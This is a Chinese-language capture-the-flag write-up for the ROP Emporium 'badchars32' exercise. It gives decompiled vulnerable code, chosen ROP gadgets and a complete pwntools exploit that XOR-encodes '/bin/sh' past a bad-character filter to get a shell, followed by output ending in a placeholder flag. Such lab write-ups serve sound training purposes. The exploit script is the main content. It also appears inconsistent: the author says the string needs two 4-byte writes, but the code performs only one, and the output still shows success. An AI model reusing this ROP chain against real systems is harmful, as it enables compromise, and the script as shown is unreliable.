ROP badchars

文件:badchars32

  1. checksec badchars32

         Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
  2. IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      setvbuf(_bss_start, 0, 2, 0);
      puts("badchars by ROP Emporium");
      puts("32bits\n");
      pwnme();
      puts("\nExiting");
      return 0;
    }

    pwnme()

    void pwnme()
    {
      char *v0; // ST1C_4@2
      size_t n; // ST18_4@2
      void *s; // [sp+Ch] [bp-2Ch]@1
      int v3; // [sp+10h] [bp-28h]@2
    
      s = malloc(0x200u);
      if ( !s )
        exit(1);
      memset(s, 0, 0x200u);
      memset(&v3, 0, 0x20u);
      puts("badchars are: b i c / <space> f n s");
      printf("> ");
      v0 = fgets((char *)s, 512, stdin);
      n = nstrlen(v0, 512);
      checkBadchars(v0, n);
      memcpy(&v3, v0, n);
      free(v0);
    }

    checkBadchars()

    unsigned int __cdecl checkBadchars(int a1, unsigned int a2)
    {
      unsigned int result; // eax@8
      char v3; // [sp+0h] [bp-10h]@1
      char v4; // [sp+1h] [bp-Fh]@1
      char v5; // [sp+2h] [bp-Eh]@1
      char v6; // [sp+3h] [bp-Dh]@1
      char v7; // [sp+4h] [bp-Ch]@1
      char v8; // [sp+5h] [bp-Bh]@1
      char v9; // [sp+6h] [bp-Ah]@1
      char v10; // [sp+7h] [bp-9h]@1
      unsigned int j; // [sp+8h] [bp-8h]@1
      unsigned int i; // [sp+Ch] [bp-4h]@1
    
      v3 = 98;
      v4 = 105;
      v5 = 99;
      v6 = 47;
      v7 = 32;
      v8 = 102;
      v9 = 110;
      v10 = 115;
      j = 0;
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( i >= a2 )
          break;
        for ( j = 0; j <= 7; ++j )
        {
          if ( *(_BYTE *)(a1 + i) == *(&v3 + j) )
          {
            *(_BYTE *)(a1 + i) = -21;
            break;
          }
        }
      }
      return result;
    }

    无法正常传入”/bin/sh\x00”

  3. (经过搜索发现可以通过加密字符串绕过检测)

    先找工具(可以看ROPgadget –help)

    ROPgadget --binary badchars32 --only "mov|xor|pop|ret"

    有用的:

    0x08048893 : mov dword ptr [edi], esi ; ret
    0x08048896 : pop ebx ; pop ecx ; ret
    0x08048899 : pop esi ; pop edi ; ret
    0x08048890 : xor byte ptr [ebx], cl ; ret
  4. EXP

    注意:ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反

    注意:因为是32位,/bin/sh要分2次传

    from pwn import *
    #context.log_level = "debug"
    elf = ELF('./badchars32')
    p = process('./badchars32')
    
    sys_addr = elf.plt['system']
    bss_addr = elf.bss()
    
    mov_edi_esi = 0x08048893
    pop_ebx_ecx = 0x08048896
    pop_esi_edi = 0x08048899
    xor_EBX_cl = 0x08048890
    
    binsh = "/bin/sh\x00"
    xor_binsh = "" 
    xor = 2
    for i in binsh:
        xor_binsh += chr(ord(i)^xor)
    
    payload = 'A'*(0x28+4)
    payload += p32(pop_esi_edi) + xor_binsh[0:4] + p32(bss_addr)  + p32(mov_edi_esi)
    
    for i in xrange(0,len(xor_binsh)):
        payload += p32(pop_ebx_ecx)
        payload += p32(bss_addr+int(i))
        payload += p32(2)
        payload += p32(xor_EBX_cl)
    
    payload += p32(sys_addr) + p32(0) + p32(bss_addr)
    
    p.sendlineafter("> ",payload)
    p.interactive()
    [+] Starting local process './badchars32': pid 2202
    [*] Switching to interactive mode
    f n s
    > $ cat flag.txt
    ROPE{a_placeholder_32byte_flag!}

    ROPE{a_placeholder_32byte_flag!}